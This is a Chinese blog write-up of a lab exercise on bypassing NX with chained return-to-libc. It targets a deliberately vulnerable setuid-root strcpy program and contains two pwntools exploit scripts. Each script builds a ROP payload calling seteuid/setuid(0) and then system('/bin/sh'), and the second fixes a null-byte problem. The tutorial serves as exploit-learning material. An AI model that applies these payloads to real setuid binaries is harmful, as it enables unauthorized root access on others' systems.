pediy18-5

使用链式 return-to-libc 绕过 NX 位

漏洞代码

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
 char buf[256];
 seteuid(getuid()); /* Temporarily drop privileges */
 strcpy(buf,argv[1]);
 printf("%s",buf);
 fflush(stdout);
 return 0;
}

编译

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

这篇也是跟之前学过的类似,有不同的地方就是setuid(0)。

这里可以看出缓冲区距离返回地址的距离为272-4 =268

采用与原文不同的rop链试试行不行。

接下来开始构造ROP

先尝试

setuid(0)

system('/bin/sh')

EXP

扫描二维码关注公众号,回复: 5921344 查看本文章

这里__libc_start_main_addr使用的是上一个程序里的,因为两者libc一样,所以节省了时间。

from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'
vuln = ELF('./vuln')
seteuid = vuln.symbols['seteuid']

print 'start get libcbase'
libc_start_main_addr = 0xf7e1d540
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
print 'success got libcbase'
system_addr = libcbase +libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')




pop_ret = 0x08048493
payload = "A"*268 + p32(seteuid) + p32(pop_ret) +p32(0)+"AAAA" +p32(system_addr)+"AAAA"+p32(binsh_addr)

sh = process(['./vuln',payload])
sh.interactive()

我在直接使用python脚本的时候无法会提示参数错误,但是在GDB里使用该shellcode可以获取到shell

如图

目前还不知道原因。

时隔2个小时,知道了。

strcpy里不能遇到\x00结尾的,否则会结束输入。我们必须避免这个问题。

既然是0的问题,就用已知的0来替换0。

利用ROPgadget来搜索elf文件中存在的字符串'0'

然后直接调用setuid(0),再继续调用system('bin/sh')即可。

EXP

from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'
vuln = ELF('./vuln')
seteuid = vuln.symbols['seteuid']

print 'start get libcbase'
libc_start_main_addr = 0xf7e1d540
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
print 'success got libcbase'
system_addr = libcbase +libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')




pop_ret = 0x08048493
payload = "A"*268 + p32(seteuid) + p32(pop_ret) +p32(0x08048220) +p32(system_addr)+"AAAA"+p32(binsh_addr)

sh = process(['./vuln',payload])
sh.interactive()

猜你喜欢

转载自blog.csdn.net/qq_38025365/article/details/88775869
今日推荐